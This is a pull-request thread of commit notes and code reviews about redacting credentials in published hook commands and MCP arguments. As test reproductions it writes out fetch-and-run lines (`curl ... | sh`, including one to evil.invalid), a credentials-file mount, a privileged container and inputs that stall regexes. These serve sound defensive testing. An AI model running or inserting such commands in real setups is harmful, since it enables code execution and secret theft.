Refs #819 Generated credentials that hold a `.`, `:` or `;` were published whole in hook commands and MCP arguments. The generated-key test ran only on a word made entirely of the base64 alphabet, so one separator defeated it: a SendGrid `SG.<id>.<secret>` key, a Telegram `<bot id>:<secret>` token, an Airtable `pat<id>.<secret>` token, a Discord bot token, a Mapbox `sk.<payload>.<signature>` token and an Azure `AccountName=…;AccountKey=<key>` connection string reached `diff`, `verify`, the PR comment, `verifier.json` and `check`. `_without_generated_runs` now tests each run of the base64 alphabet inside a word, split at every other character and at an `=` that separates a name from its value, and replaces each run that reads as a key. Once one run of a word is a key, every other run in it with a key's shape (20 or more characters of two classes) is replaced too, because a token's other parts are no less random and are often too short for the entropy test alone (a Mapbox signature). A run followed by `=` is an assignment's name and is kept, so the Azure string publishes `AccountName=acct;AccountKey=<redacted>`, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. The whole-word test still runs first, so no word it redacted before is published now. A credential flag right after another credential-named flag published its value while the digest's input redacted it. In `--no-password --token abc`, the boolean `--no-password` took `--token` as its value, the next-word rule stopped there, and `abc` was published; the digest's list rule reads `--token` as naming `abc` and redacts it, so rotating `abc` changed the published arguments with no row. Which word is replaced now depends only on the word before it (`_credential_values`), so both words are `<redacted>`. The same case in a hook command was also published, because the digest's string rule had already written `--token` as `<redacted>` before the words were split. A word that follows a credential name in the command as written is now `<redacted>` wherever the redacted words still hold it. An edit past the 12-argument bound read "no difference in … arguments". When either side declares more arguments than the grant publishes, the MCP sentence now says `the first 12 arguments` and names `an argument past the first 12` among what it does not show. A hook with more than 16 handlers says `of the first 16 handlers` and names `a handler past the first 16`, and one whose command has more than eight arguments names `a command argument past the first 8`. From the non-blocking notes: the digest's own string rule now runs on the text as written before any other pattern, so a known token shape that runs into the flag after it (`sk-…--password X`) no longer hides the value that rule redacts. `--secret-key X`, `--aws-access-key X` and `--pass X` are redacted as credential flags. STABILITY and the CHANGELOG now name the shapes that still publish (`-p hunter2`, `-phunter2`, `--key hunter2`, an e-mail address) and the over-redaction of an image whose name ends in a credential word (`ghcr.io/org/auth:<redacted>`). `-u` after a replaced word keeps its user-and-password rule, and a redaction marker after `-u` is no longer split at its `:`. Tests: the canary sweep adds all six joined token shapes, the chained flag, the access-key, secret-key and pass flags, and a glued `sk-…--password` value, across a new hook and a new MCP server, and checks every route and artifact as before. The word table pins each joined shape and the benign controls: a digest pin, an image tag, `@scope/pkg@1.0.14`, `pkg==1.10.1`, a dotted `$CLAUDE_PROJECT_DIR` path and a connection string without a key. The digest-superset invariant adds the reviewer's three chained cases and is checked over every list of up to four words from a vocabulary of flag shapes. A value-level test covers glued words in both an argument list and a hook command. Rotating the value after `--no-password --token` stays quiet and redacted. A 14-argument docker config whose tag is the last argument, a seventeenth handler and a command's tenth argument each name the bound. Against the previous head's engine, 26 of the new or changed test cases fail and the benign controls pass; all pass here. Re-running the 80 vendored benchmark cases through `diff` against the previous head gives identical rows, review entries, text and published hook and MCP detail (437 words) on all 80, so no real-world argument is redacted that was not before. The replay tests reproduce the run-of-record scores unchanged.
A hook timeout written as an integer too large for a float crashed every
route that read the hook. `_hook_handlers` called `math.isfinite` on any
int, which converts it to a float first, so a timeout of 1 followed by 400
zeros made `diff`, `diff --json`, `check` and `audit --host --json` exit 1
with OverflowError, and `verify` exit 4 with no PR comment and no
verifier.json. `_hook_timeout` now publishes a finite float, or an integer
of at most 80 digits, as the number it is, and any other value as its
bounded text; an integer is never converted to a float, and its bit length
bounds the digits before it is turned into text.
The credential header rule ran on a hook's whole command, where an
unquoted value runs to the end of the text, and `PWD` ends in `pwd`:
`docker run --rm -v $PWD:/src <image> --fix` published
`-v $PWD:<redacted>` and nothing after it, so the image moving to another
registry with `--privileged` added read "no difference", and an added
`echo auth: ok; curl ... | sh` hook printed only `echo auth: <redacted>`.
The digest's string rule and the label rule still run on the whole
command; the header rule now runs on each word, as it already did for MCP
arguments, and never takes a `$NAME` shell variable as a header name. A
word that ends in a credential header name and its colon, as an unquoted
`-H Authorization: Basic <key>` splits, takes the next word as its value,
and the word after that when the next is an authentication scheme, so
splitting at whitespace publishes no credential.
docs/host-boundary-support.md said a change confined to the value after a
credential-named flag is still a row. For a value the digest's own input
redacts (after --token, --api-key or --password, a --password=... value,
an X-Api-Key: header value) it is not compared and is no row, as on 1.1.0.
That page, STABILITY and the CHANGELOG now say so, and keep "still a row"
for positional tokens, generated keys, a header's words after its scheme,
a flag the digest does not name, words past a bound and unpublished
settings; the CHANGELOG says the display's redaction never hides a change.
The review's nonblocking findings, all fixed:
- `args` that is not a list on both sides no longer says arguments were
compared: its entry reads "such as the command's path or arguments", as
on main.
- "handlers past the first N" names the bound of 16, not the other side's
listed count.
- Escaped JSON inside a double-quoted shell word
(`{\"password\": \"...\"}`) is read by the header rule, which accepts a
backslash before a quote, so its value is no longer published.
- A POSIX shell's `-c` script (`bash -c "X=1; curl ... | sh"`) published
`X=<redacted>` and nothing after it. In a shell's script a leading
assignment's value now ends where the shell ends it, at the first
whitespace outside quotes and escapes, so it publishes
`X=<redacted> curl ... | sh`. Anywhere else a `NAME=value` word's value
is still the rest of the word, since `docker run -e "FOO=a b"` sets FOO
to `a b`, and a value holding a substitution, a parenthesis, a brace or
an open quote is still replaced whole.
- The digest's credential-assignment rule took time quadratic in a long
run of name characters (40,000 characters of `password`: 1.6 seconds in
the digest input, 6.6 seconds for one hook command's detail). A
lookahead for the `=` and value every match needs removes it (now under
0.1 seconds); it matches exactly what it matched, with the same spans
and groups over 200,000 random strings, so every config_sha256 is
unchanged. A test pins both.
The 80 vendored benchmark cases give the same rows and the same review
entries at this commit as at the previous head, so the CHANGELOG's
measurement stands, and the replay tests pass unchanged.
Three display rules took time quadratic in repository-controlled text, so
one config file near the reader's 1 MiB bound stalled diff, check, verify
and audit for minutes to over an hour:
- the credential header rule's blanks around the colon backtracked into
the value, whose first class also holds a blank ("token:" and 64,000
blanks took 20 seconds). They are possessive now; a value cannot end in
a blank, so the rule matches exactly what it matched;
- the shell-flag test, -[A-Za-z]*c[A-Za-z]*, backtracked over every c of a
long option cluster. It now tests -[A-Za-z]+ and looks for the c apart;
- the digest-pin test searched the whole word before every hex run for a
sha256: prefix. It reads only the seven characters before the run.
Timing each reader near the bound found three more of the same kind in
the hook reader. shlex grows a word one character at a time, so a 1 MiB
command took 16 seconds to split; _command_words is now a one-pass reader
that returns exactly shlex's words. The leading-assignment loop copied the
word list once per assignment, and the -c script's assignment loop copied
the rest of the script once per assignment; both walk by index now. Near
the bound every shape reads in under two seconds, and a test holds each
under ten; a randomized test holds the rewritten rules to what they
published before.
In a shell's -c script an assignment's value now also ends at an unquoted
;, & or |, so `X=1;curl ... | sh` names curl instead of hiding it, and
every word of the script that starts with an upper-case NAME=, or a quote
and one, is read as an assignment rather than only the leading ones:
`export DB_PASS=...` and `cd /x && DB_PASS=... ./run.sh` publish
DB_PASS=<redacted>, as the same words in a plain hook command already did.
A < or > does not end a value, since a <redacted> marker an earlier rule
wrote there holds both.
docs/quickstart.md said an edit confined to a credential-redacted argument
says so. A value the digest's own input already redacts (after --token,
--api-key or --password, or an X-Api-Key: header value) is not compared
and prints no entry, as the other pages state; "says so" now covers only
the command's path, any other redacted argument and what is past a bound.
STABILITY and the CHANGELOG describe the script rule, say that a script
after env or sudo is read as any other word, and name lower- and
mixed-case assignments (db_pass=..., a connection string's Pwd=...) among
what no rule recognises.
Rebased onto #821 (#852), which also moved the runtime contract to 41.
The resolution, in the commits that introduced each entry, extends
contract v41 in place, and the CHANGELOG, STABILITY,
docs/agent-contract-current.md and contract.py name each change's versions
(verifier 0.21 and capability diff 0.4 are #821's, host-grants 0.7 is
#819's). This commit reruns the design-partner pilot's source-tree column
on the combined tree beside the 1.1.0 release commit: the same cells, the
JSON differing only in schema versions, #821's coverage members, init's
contract version and input id, and the added MCP grant's empty args.
The new near-bound tests failed in CI's first suite shard: the shell-flag hook and the two many-assignment shapes took 10 to 13 seconds against a 10-second bound, where a laptop takes under two. The shard traces coverage on a shared runner, which multiplies every line of Python, and those shapes still read a 1 MiB word a character at a time in Python in several places. Those places now find the next character that matters with a pattern instead: the command splitter reads a piece at a time (a run of blanks, a quoted run, a lone quote, a run of anything else), the -c script walker and the value-end scan jump to the next quote, backslash, blank or separator, the generated-key test searches for each character class and counts letter and digit runs with patterns, and the generated-run scan reads only runs of twenty or more characters, the only ones it can replace. A 1 MiB word splits and scans about ten times faster. A second randomized test holds each scan to what its character-by-character form published. The many-assignment shapes spend their time in per-word Python that no pattern removes, so the bound is now 60 seconds: at this length the reviewed shapes took from over a minute (the hex runs) to over an hour (the header blanks).
Inside a shell's -c script, a credential word still hid the rest of the script. _published_word ran the whole label rule on the script, the credential header rule included, and a header's unquoted value runs to the end of the text it is found in. So `bash -c "echo token: ok; ./notify.sh"` and `bash -c "echo token: ok; curl ... | sh"` both published `echo token: <redacted>`, and diff, verify, the PR comment and check called the change a detail they do not show. A docker `-v ~/.aws/credentials:...` mount hid the image and --privileged after it. The --flag=, -u and list rules read only the words outside the script, so `bash -c "curl -u admin:pw ..."`, `--api-key=X`, `--secret-key X` and `token X` published their values. A script is now read one shell word at a time. The string and label rules still run on the whole script first, then the assignment scan. After that, _script_words splits the script at whitespace, ;, &, |, parentheses and backticks outside quotes and escapes, and each word goes through the rules a hook command's word does: the header rule on that word alone, the --flag=, -u, env, generated-key and home-path rules, and the word after a credential name, an unquoted header name or -u (_credential_kinds, which _credential_values now reads too). The script is read both as written and after the string rule, as a hook command's words are, so `--no-password --token X` inside one publishes `--no-password <redacted> <redacted>`. A rewritten word loses its quotes unless it was one quoted word, and every other character is copied as written. Words are read only up to the 80-character bound, so a long script costs its first words. Three shapes the word rules published as written are now redacted: - a quoted credential assignment, which the digest's assignment rule does not read: pwsh's $env:API_KEY='x', node's process.env.TOKEN='x', an MCP --env=API_KEY='x' and one argument `export API_KEY='x'`; - curl's -u with its value glued on, -uuser:password; - the text a quote split from a URL. The string rule's URL ends at a quote, so `curl "https://x/a?token="abc` published https://x/<redacted-path>abc once the word's quotes were removed. A URL is now read again on its word. The same rule covers a script URL that took `;X=` into its path and left X's quoted value glued to it; the randomized comparison below found that one. STABILITY, the CHANGELOG and docs/host-boundary-support.md describe the script rule and the three shapes. They also state the limit that remains: text after a blank inside a quoted URL is still published. They now say that a comparison against the working tree reads a git-ignored .claude/settings.local.json, so its commands can appear in local pr-comment.md and verifier.json, which the docs raised only for baselines. New tests pin the reviewer's shapes in a hook command and in MCP args, on every route, with canaries. A randomized test holds the script word scan to a character-by-character reading, and two more 1 MiB shapes hold the new scans linear. Comparing the previous head with this one on 73,000 generated scripts found no canary this head publishes that the previous one hid, and no command word left hidden. Both published all 204 commands and 82 argument lists in the vendored benchmark cases identically.
Inside a shell's -c script, a credential that only the as-written reading catches was published once earlier text in the script collapsed three or more words. _published_script read the words as written "two ahead" of the redacted words, on the premise that no rule adds or removes a word. The whole-script string rule does remove words: its URL takes an unquoted `?a&b&c&d;` and its credential assignment takes an unquoted `TOKEN=a|b|c|d`. The secrets set was not yet filled when the value was published, so `bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic X"` published `Authorization: <redacted> X`, and `--no-password --token X`, `--auth -u u:X` and `--auth token X` after either prefix published X, in hook commands and in MCP args alike, on every route. Every word of the script as written is now read before any word is published, so the two readings no longer need to keep step. The scan is linear. A near-1 MiB script of 500,000 words takes about a second. The word after a credential word was replaced across ;, | and &&, so it hid the next command's first word. `gh auth token | docker login ...` published `gh auth token | <redacted> login ...` on both sides, and a docker -> podman edit read "no difference in the matcher, type, command summary or timeout". `echo token:; ./notify.sh` published `echo token:; <redacted>`. _credential_kinds takes a starts_command test, and _script_command_words says of each script word whether a ;, &, |, newline, parenthesis or backtick comes before it. Both readings start afresh at each command. No digest redaction is lost: the string rule has already run on the whole script and still replaces what it reads across a separator (`--token |X` publishes `--token <redacted>`). The same reset applies to a hook command's own words. A word that is only control operators (|, ||, &&, ;, &) starts a new command, so `gh auth token | docker login ghcr.io` keeps its pipe instead of reading `token <redacted> docker`. An MCP server's args are not read by a shell, and the digest's list rule redacts whatever item follows `token`, `|` included, so those args are read as before. After sudo or env, or in a script run by a shell that is not POSIX such as pwsh -c, the script is still one word. An unquoted credential `Name:` word's value runs to the end of it: `sudo bash -c "echo token: ok; curl ... | sh"` publishes `echo token: <redacted>`. STABILITY already stated the assignment consequence. It now states this header consequence too, and docs/host-boundary-support.md and the CHANGELOG limit "never hides the commands after it" to the script of a POSIX shell that is itself the command. They also say what the string rule still takes across a separator. Tests: each of `--no-password --token X`, `echo Authorization: Basic X`, `--auth -u u:X` and `--auth token X` behind no prefix, a `?a&b&c&d;` URL, a `?a&b&c;` URL and a `TOKEN=a|b|c|d` prefix, in a hook command and in MCP args. A route test finds none of the review's three canaries in diff text or JSON, verify text, pr-comment.md, verifier.json, check text or audit --host --json. A route test shows the docker -> podman edit named on every route. There are separator shapes (`echo token:; ./notify.sh`, `gh auth token; ./deploy.sh`, `&&`, `|`, parentheses, `Authorization: Basic; ./run.sh`) and shapes where the string rule takes a value across a separator (`|X`, a newline, `&X`). The top-level operator words are covered, and so is the MCP `token |` parity. Two near-1 MiB shapes guard the full pre-read in linear time. Against the previous engine, 20 of the new cases fail.
84d2c44 to
215e1ad
Compare
|
Addressed review cycle 3. New head The branch is rebased onto C3-851-1: a credential named only in the as-written script leaked after a prefix that collapses words (fixed)
Two new near-bound shapes cover this in Your reproductions now publish:
New tests:
The CHANGELOG, STABILITY and PR-description examples ( C3-851-2: the word after a credential word was replaced across
|
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 4 at 215e1adc.
Not mergeable yet: three findings block merge. Both cycle 3 findings, and every earlier blocking finding, are fixed at this head. CI is green, and rows, row counts, digests and saved baselines are unchanged. The three new findings are these:
- A credential after a named flag is published when it sits inside a quoted word that is not the command's own
-cscript. - A reorder combined with a hidden edit reads "the same handlers in a different order".
- Long hook entries now push other rows, the change count and the review question out of the PR comment.
Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main 8269922b, or from calling this head's helpers directly.
-
P2: inside a quoted word that is not the command's own
-cscript, the-u,--pass,--secret-keyandtokenrules do not run, so the credential is published on every route.- Evidence. One repository adds these hooks and one MCP server:
docker exec app sh -c "curl -u admin:c4canaryA https://x.invalid"(a changedStophook)ssh deploy@host "tool --pass c4canaryB"(SessionStart)sudo bash -c "tool --secret-key c4canaryC; ./run.sh"(SessionEnd){"command":"docker","args":["exec","app","sh","-c","gh auth login token c4canaryD"]}
- Result. Each canary appears once in each of these outputs:
difftext,diff --json,verify --format text,pr-comment.md,verifier.json,check --format textandaudit --host --json. Onmaineach appears 0 times.- For example, the head prints
Stop: command ./notify.sh → docker exec app sh -c 'curl -u admin:c4canaryA https://x.invalid'andSessionStart (command ssh deploy@host 'tool --pass c4canaryB'). - Called directly, the same happens with
kubectl exec pod -- sh -c "tool --pass X",ssh host "tool --aws-secret-access-key X", and a nestedbash -c "bash -c 'curl -u admin:X …'". - Control: the same words at the top level, or directly in the command's own
bash -c "…", publishadmin:<redacted>,--pass <redacted>and--secret-key <redacted>. - Inside such a word, only the digest's string rule catches a flag's value (
--token,--password,--passphrase,--client-secret,--access-token). The rules the display adds do not.
- For example, the head prints
- Cause.
_shell_script_index(core/host_grants.py:1231) recognises a script only when the command itself (argv0, or the MCPcommand) is a POSIX shell.- Every other word that holds several words goes through
_published_word's one-word path (_word_published(_detail_label(word)), line 1577 onward). That path runs no next-word scan and no-urule over the words inside it. - A quoted word inside a script is also published as one word, so the gap repeats one quoting level down.
- The digest input keeps each value too, so no row is lost; the output publishes more than the docs say it does.
- Docs.
docs/host-boundary-support.mdsays without qualification that "the value after a credential-named flag [is] published as<redacted>".- The CHANGELOG lists
--secret-key X,--pass Xand "the password of-u user:password" among the values that are<redacted>. - The sudo, env and pwsh limit in the CHANGELOG, STABILITY and host-boundary-support names only the header consequence and the assignment consequence. It does not say that these values are published, and it does not cover
docker exec … sh -c,ssh host "…"or a nested script.
- Fix.
- Preferred: build
secretsandpasswordsfrom the as-written shell words of every published word that holds whitespace, at every quoting level, as_published_scriptalready does for the command's own script. Leave out the assignment-value rule. This stops the class rather than one more shape. - Or: state the limit exactly in the CHANGELOG, STABILITY,
docs/host-boundary-support.mdand the PR description. Inside any other word that holds several words, only the string, header, quoted-assignment and generated-key rules run, so-u admin:X,--pass X,--secret-key Xandtoken Xthere publishX. - Add the four canaries above to a route test.
- Preferred: build
- Evidence. One repository adds these hooks and one MCP server:
-
P2: a reorder combined with an edit the handlers do not show reads "the same handlers in a different order", which is false.
- Evidence. Two cases, each one
PreToolUsegroup with two handlers:- The handlers
tool a b c d e f g h ./checks/safe.shandbin/lint.shbecomebin/lint.shandtool a b c d e f g h ./checks/evil.sh. The changed word is past the 8-word bound. - The handlers
bin/a.shandbin/lint.sh(async: false) becomebin/lint.sh(async: true) andbin/a.sh.
- The handlers
- Result. In both cases
difftext,review.changes[].changeindiff --json,pr-comment.md,verifier.jsonandchecktext printPreToolUse: the same handlers in a different order.- Control: the same hidden edit without the reorder correctly prints
PreToolUse: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a command argument past the first 8, …. - On
mainboth cases readPreToolUse → PreToolUse: content-free, but not false.
- Control: the same hidden edit without the reorder correctly prints
- Cause.
_handler_changes(core/capability_diff_rows.py:891–893) says "the same handlers" whenever the published handler JSON is the same multiset. But published handlers are redacted, cut at 80 characters, limited to 8 words, and leave out settings such asasync. Equal published handlers therefore never establish equal handlers, which the no-difference sentence already recognises. - Fix.
- Word the reorder so that it does not claim sameness. For example:
the published handlers in a different order; a detail this output does not show may also differ, such as …, reusing the no-difference sentence's clause, including its past-the-bound handling. - Update the STABILITY, CHANGELOG and PR-description quotes to match.
- Add both cases above as tests.
- Word the reorder so that it does not claim sameness. For example:
- Evidence. Two cases, each one
-
P2: long hook entries push other rows, the change count and the review question out of the PR comment.
- Evidence, one hook. One
PreToolUsehook has three handlers, each with eight long--optN=…words, all changed. In the same file anallow: Bash(curl:*)is added and adeny: Bash(rm -rf:*)is removed.- On
main,pr-comment.mdlists all 3 rows andReview question: Does the team intend these 3 declared capability changes?(2,909 characters). - On this head (5,997 characters) it lists the hook row and the
⚠ medium / addedheading without its value. Then it stops with… additional human summary detail omitted; see report.md. - The deny removal,
What this run established, the count and the review question are gone. This manifest-free route writes noreport.md; that pointer was already wrong onmain.
- On
- Evidence, realistic sizes. Eight changed hooks with two handlers each, about 420 characters per entry, plus the same two permission rows:
- The head's comment drops both permission rows, the count and the review question.
mainlists all 10 rows.verifier.jsonstill holds all 10 on the head.
- Cause.
host_comparison_lines(report/host_comparison.py:604–616) prints each entry as one unbounded line._truncate_markdown_lines(report/pr_comment.py:1184) cuts at the first line that does not fit in_COMMENT_MAX_CHARS(6,000). One long entry therefore hides every row after it, not just itself.- Rows before this change were short, so the cap came into play only past about 30 rows.
- Fix.
- In the Markdown projection, give each entry line a bounded share of the budget (cut with
…, and nameverifier.json), or fall back to the row'sbefore → afterfor an entry that does not fit. Every row heading, the count and the review question must stay in the comment. - Add a test: long hook entries plus a permission removal and addition. Every row and the review question appear in
pr-comment.md, within_COMMENT_MAX_CHARS.
- In the Markdown projection, give each entry line a bounded share of the budget (cut with
- Evidence, one hook. One
Nonblocking (P3):
- A line continuation after a named flag publishes the value.
curl --token \followed by a newline and thenhunter2publishes--token <redacted> hunter2, since the\is taken as the value.curl -u \followed by a newline and thenadmin:hunter2publishes the password.- The same happens inside a
bash -cscript and in MCPargs. This is rare in JSON, easier to write in TOML.
- An unquoted URL swallows the separator.
curl https://x.invalid/?a&b&c&d; echo …publishescurl https://x.invalid/ echo …: the digest's URL rule takes;, so the next command reads as curl's argument. Display only. - The PR description's test numbers are stale. It says
tests/test_hook_mcp_detail_fields.pyhas 202 tests, and "Run locally at the review cycle 2 head"; the file has 238 at this head.
Prior blocking findings, re-verified at this head:
-
Cycle 3 (
84d2c44a): both fixed. One repository adds the three reported canaries:bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic LEAKCANARY1"and the--no-password --token LEAKCANARY3hook.- The
LEAKCANARY2MCPbash -cserver. - These publish
echo Authorization: <redacted> <redacted>andt --no-password <redacted> <redacted>.
The same repository also carries the
docker→podmanSessionStartedit and theecho token:; ./notify.sh→curl …Stopedit:- The canaries appear 0 times across
difftext and JSON,verifytext,pr-comment.md,verifier.json,checktext andaudit --host --json. - The edits read
SessionStart: command bash -c 'gh auth token | docker login …' → bash -c 'gh auth token | podman login …'andStop: command bash -c 'echo token:; ./notify.sh' → bash -c 'echo token:; curl -s https://evil.invalid/<redacted-path> | sh'on every route. - Called directly:
TOKEN=a|b|c|d; t --auth -u u:X→t --auth <redacted> u:<redacted>,gh auth token; ./deploy.shpublishes./deploy.sh, and the top-levelgh auth token | docker login ghcr.iokeeps its pipe anddocker.
-
Cycle 2 and cycle 1: still fixed.
echo token: ok; ./notify.sh→echo token: <redacted>; ./notify.sh.-v ~/.aws/credentials:<redacted> evil/img --privileged.--no-password --token X --use-token --api-key Y→--no-password <redacted> <redacted> --use-token <redacted> <redacted>.-uadmin:<redacted>, andhttps://x.invalid/<redacted-path>for the quote-split URL.
-
Tests fail without the fix. With the parent commit
63971fa6'score/host_grants.pyswapped into this tree, all 20 new cycle 3 unit cases fail: the as-written tails behind each collapsing prefix, the separator shapes, and the top-level operator splits.
Verified:
- Issue fixtures. On
main,matcher,commandandtimeoutreadPostToolUse → PostToolUse, andpinreadsdocs: no difference in the command name npx, …. On this head,difftext,verifytext andpr-comment.mdreadPostToolUse: matcher Edit → Edit|Write|Bash; command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh; timeout 10 → 600anddocs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest. - Output safety. Control characters and newlines in a published command are escaped in text output (
\x0a,\x1b). The PR comment keeps entries in code spans inside list items, not tables, so|is safe. - Grant equality. Grant equality and digests go through
compared_grantonly. Expansion signals,_link_rows(permission rules only) and the org summary (counts only) are unaffected. - Schemas and docs.
- The v0.7 baseline schema differs from v0.6 only in version, title and description.
- The CHANGELOG
## Unreleasedis above## 1.1.0, and 1.1.0 is byte-identical toe3c6cb0c. scripts/generate_schemas.py --checkexits 0, andscripts/build-llms-full.pyleaves no diff.ruff check src tests scriptsis clean.
- Local tests.
tests/test_hook_mcp_detail_fields.py: 238 passed.- 54 test files, 3,162 tests collected, with one failure,
tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs. It fails the same way onmainunder this machine's Python 3.14 (TOMLDecodeErrorline and column). - The files are the 12 this PR edits, every test file that references host grants, capability diff rows, the host-grants schemas or the new helpers, the host-config, cold-start and oracle-control replays, the public surface contract, the entry docs, partial comparison and manifest-free rows.
- CI: green on
215e1adc(run 35865101562): suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras.release-tag-consistencywas skipped.
Stop publishing command and argument text. Four review cycles each found
a credential inside free-form shell text that a redaction rule missed (a
quoted word, a -c script, a separator, a here-document), and cycle 4
found another: a -u, --pass, --secret-key or token value inside a quoted
word that is not the command's own script. Redacted shell text cannot be
made safe by adding rules, so per the PM decision of 2026-09-23 none of
it is published on any surface.
- A hook handler's command is now {executable, sha256}: the last path
segment of its first word, only when that is a plain token no
redaction rule rewrites and not a shell reserved word (otherwise
<not-shown>), and the SHA-256 of the whole command as config_sha256's
input holds it. The type, env_keys, argv0 and args members are gone.
- An MCP server grant publishes package, at most one argument of a
strict npm, PyPI or OCI shape that follows no flag but a package
runner's own, and args_sha256, the digest of every argument with the
package replaced by a marker, in place of args and omitted_args.
- The matcher keeps the published-label redaction; a non-string matcher
is <not-shown>. A timeout written as text is published only as a plain
token.
- Every free-text redaction rule this change had added is removed: the
word, script, header, -u, flag-value and generated-key rules and the
command splitter. The digest's assignment-rule lookahead stays.
The members remain display only: each is a function of the
configuration as config_sha256's input holds it, grant equality and the
inventory digests leave them out, and a saved baseline holds none of
them.
A reorder of the published handlers now reads "the published handlers
in a different order; a detail this output does not show may also
differ, such as ...". Equal published handlers never establish equal
handlers, since a setting such as async is not published.
The PR comment no longer loses rows to one long entry. Its bound cut at
the first line that did not fit, so a long hook entry hid every later
row, the change count and the review question. An entry is now printed
whole when the whole comment fits, and otherwise cut to the widest of
480, 240 and 120 characters at which it does, with a pointer to
verifier.json. A comment written without a readiness report now points
to verifier.json instead of a report.md that route does not write.
Rows, row counts and digests are unchanged. diff --json on the 80
vendored benchmark cases gives byte-identical rows beside e3c6cb0, and
the seven content-free hook and MCP entries there now name their field.
The README and quickstart answers are the published 1.1.0 ones again.
STABILITY, the CHANGELOG entry, the host-boundary, contract, index,
distribution-surface and pilot-ledger docs, the v0.7 schemas and
llms-full.txt describe the smaller surface.
|
Addressed review cycle 4. New head Per the PM scope decision of 2026-09-23, this PR no longer publishes any command or argument text. Finding 1 is closed by that change rather than by one more rule, and findings 2 and 3 are fixed. 1. P2, a credential inside a quoted word that is not the command's own
2. P2, a reorder combined with a hidden edit read "the same handlers in a different order": fixed.
3. P2, long hook entries pushed rows, the count and the review question out of the PR comment: fixed.
Nonblocking.
Also re-measured on this head (2026-09-23).
Not changed, on purpose. An MCP server's Docs. Tests run locally.
|
pengfei-threemoonslab
left a comment
There was a problem hiding this comment.
Independent coding-agent review/address cycle 5 at e980f742.
Not mergeable yet: two findings block merge. Both are small. First, a hook command whose first word is a URL publishes the URL's host as executable, where STABILITY says a URL is never named. Second, when only the base side of a hook is outside the documented shape, the row says the declaration is malformed while the head's declaration is well formed and its handlers are published.
The scope decision holds at this head: no command or argument text reaches any output I checked. All three cycle 4 findings, and every earlier blocking finding, are fixed. CI is green. Rows, row counts, config_sha256 values, the inventory digest and saved baselines are unchanged from main.
Every value below comes from a synthetic two-commit repository run through ./shipgate on this head and on origin/main 8269922b, or from calling this head's helpers directly.
-
P2: a URL as a hook command's first word publishes the URL's host as
executable, though STABILITY says a URL is never named.- Evidence.
- A
Stophook changes frombin/notify.shtohttp://deploy:hunter2@build-cache.corp.internal?token=abc123 x.diffprintsStop: command changed (notify.sh sha256:091252764676 → build-cache.corp.internal sha256:649aa3f6c65c).audit --host --jsonpublishes"executable": "build-cache.corp.internal".- The password and the token appear 0 times.
- Called directly,
_hook_commandpublishes these executables:https://evil.invalid→evil.invalidhttps://evil.invalid?token=abc→evil.invalidhttp://user:pw@secret-host.internal→secret-host.internal
- Control: a URL with a path, such as the test's
https://hooks.example.invalid/secret-path/run.sh, gives<not-shown>.
- A
- Cause.
_hook_command(core/host_grants.py) takes the last/segment of the first word after_sanitize_sensitive_stringhas run. The sanitizer drops a URL's userinfo, query and path. What remains isscheme://host, and its last segment is the host.- Under the rule the docs state, the last path segment of the first word as written,
user:pw@secret-host.internalandevil.invalid?token=abcare not plain tokens, so they would be<not-shown>. - So this publishes command text other than argv[0]'s basename.
- Only a host is published, and the engine already publishes hosts for URL endpoints. Nothing here is a credential. What fails is the documented surface.
- Under the rule the docs state, the last path segment of the first word as written,
- Docs.
- STABILITY (the #819 note, "What a hook publishes") says: "otherwise it is
<not-shown>, as for a leadingNAME=valueassignment, a word a blank leaves inside an open quote, a shell reserved word such asif, or a URL." - The
_hook_commanddocstring says: "a URL is never named". - The CHANGELOG and
docs/host-boundary-support.mddescribe the rule as the last path segment of the first word. Under that rule,http://user:pw@hostandhttps://host?token=xwould not be named.
- STABILITY (the #819 note, "What a hook publishes") says: "otherwise it is
- Fix.
- In
_hook_command, name no executable when the first word, as written or sanitized, contains://. This is one condition next to the reserved-word test. - Add
https://evil.invalid,https://evil.invalid?token=abcandhttp://user:pw@secret-host.internaltotest_the_executable_is_a_plain_token_or_not_named, each expecting<not-shown>.
- In
- Evidence.
-
P2: when only the base side of a hook is outside the documented shape, the row says the declaration is malformed, although the head's declaration is well formed.
- Evidence.
.claude/settings.jsonchanges from{"hooks":{"PostToolUse":{"matcher":"Edit","hooks":[…]}}}(an object, which the reader does not establish) to{"hooks":{"PostToolUse":[{"matcher":"Edit","hooks":[{"type":"command","command":"a.sh"}]}]}}.- These routes all print
PostToolUse: matcher, command and timeout not shown: the declaration is not a list of matcher groups whose hooks are objects:difftext,review.changes[].changeindiff --jsonandverifier.json,pr-comment.md, andcheck --format text. - Meanwhile the head grant publishes
handlers: [{"matcher": "Edit", "command": {"executable": "a.sh", …}, "timeout": null}]. - On
mainthe row readsPostToolUse → PostToolUse: content-free, but not false.
- These routes all print
- Why it matters. The case this hits is a pull request that repairs a hook block that did not load, so that it now runs. The reviewer is told the new declaration is malformed. The new matcher and command, which are the part to review, are not shown.
- Cause.
_hook_change(core/capability_diff_rows.py) returns the shape sentence when either side'shandlersisNone, without saying which side.test_a_declaration_outside_the_documented_shape_names_the_limitcovers only the case where both sides are outside the shape.- STABILITY's example row describes only that case too.
- Fix.
- When exactly one side is
None, name that side and list the other side's handlers as_hook_celldoes. For example:PostToolUse: base matcher, command and timeout not shown (the declaration is not a list of matcher groups whose hooks are objects); head handler (matcher Edit, command a.sh sha256:…), and the mirror image when only the head is outside the shape. - Add both directions to the shape test.
- When exactly one side is
- Evidence.
Nonblocking (P3):
- The quadratic
jwtanddatabase_urlpatterns inprivacy.redact_textcan be reached through the matcher, which is the only unbounded text this head sends through the label rule.- A 128 KiB matcher of
-eyJrepeated makesaudit --hosttake 4.2 s on this head and 0.6 s onmain. - Called directly, 64 KiB → 128 KiB takes 0.91 s → 3.63 s for
-eyJand 0.86 s → 3.36 s forpostgres://a:, a ratio of about 4. That is about 4 minutes per read at the 1 MiB bound. - The 13 other repeated shapes I timed are linear.
- The same patterns are already reachable on
